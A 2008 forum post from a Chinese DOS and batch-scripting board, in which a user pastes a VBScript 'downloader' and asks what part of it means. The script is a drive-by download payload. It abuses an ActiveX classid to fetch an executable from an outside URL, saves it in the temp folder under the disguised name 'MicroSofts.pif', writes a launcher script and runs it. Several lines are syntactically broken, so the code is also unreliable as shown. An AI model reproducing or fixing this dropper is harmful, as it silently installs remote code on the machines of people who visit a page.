中国DOS联盟论坛

中国DOS联盟

-- 联合DOS 推动DOS 发展DOS --
联盟域名:www.cn-dos.net 论坛域名:www.cn-dos.net/forum
游客 | 登录 | 注册 | 会员 | 搜索 | 中国DOS联盟
中国DOS联盟论坛
现在时间是 2026-08-07 21:37
48,041 主题排行 / 350,128 发帖 / 今日 3 篇 / 48,252 会员排行
DOS批处理 & 脚本技术(批处理室) » - - vbs downloader 代码 有问题否 ?
可打印版本  642 / 0
第1楼 ooaf 发表于 2008-03-28 12:18
中级用户 发帖 162 积分 313
- - vbs downloader 代码 有问题否 ?
On Error Resume Next
document.createElement("object").SetAttribute "classid", clsid:BD96C556-65A3-11D0-983A-00C04FC29E36
set loveq=document.createElement("object").CreateObject(Microsoft.XMLHTTp,"")
loveq.open get, http://www.ba idu.com/down.exe, false
loveq.Send
Set chilam = document.createElement("object").CreateObject(Scripting.FileSystemObject, "")
Set yingying = chilam.GetSpecialFolder(2)
"MicroSofts.pif"=chilam.BuildPath(chilam.GetSpecialFolder(2), "MicroSofts.pif")
"MicroSofts.vbs"=chilam.BuildPath chilam.GetSpecialFolder(2), "MicroSofts.vbs")

Set chilams = document.createElement("object").createobject(Adodb.stream,"")
chilams.type=1
chilams.Open
chilams.Savetofile "MicroSofts.pif",2
chilams.Write loveq.ResponseBody
chilams.Close
chilams.Type=2
chilams.Open
chilams.Savetofile "MicroSofts.vbs",2
chilams.WriteText "Set Loveq = CreateObject(""Wscript.Shell"")"&vbCrLf&"Loveq.run ("""&q_784378237&""")"
chilams.Close
Set cute_qq = document.createElement("object").createobject(Shell.Application,"")
cute_qq.ShellExecute "MicroSofts.vbs","","", open

红色部分 能否解释一下 ?


-

[ Last edited by ooaf on 2008-3-28 at 12:20 PM ]
[ 联系联盟系统管理团队 - 中国DOS联盟 - 标准版 ]
Sponsored by ifanr Inc | © 2001–2023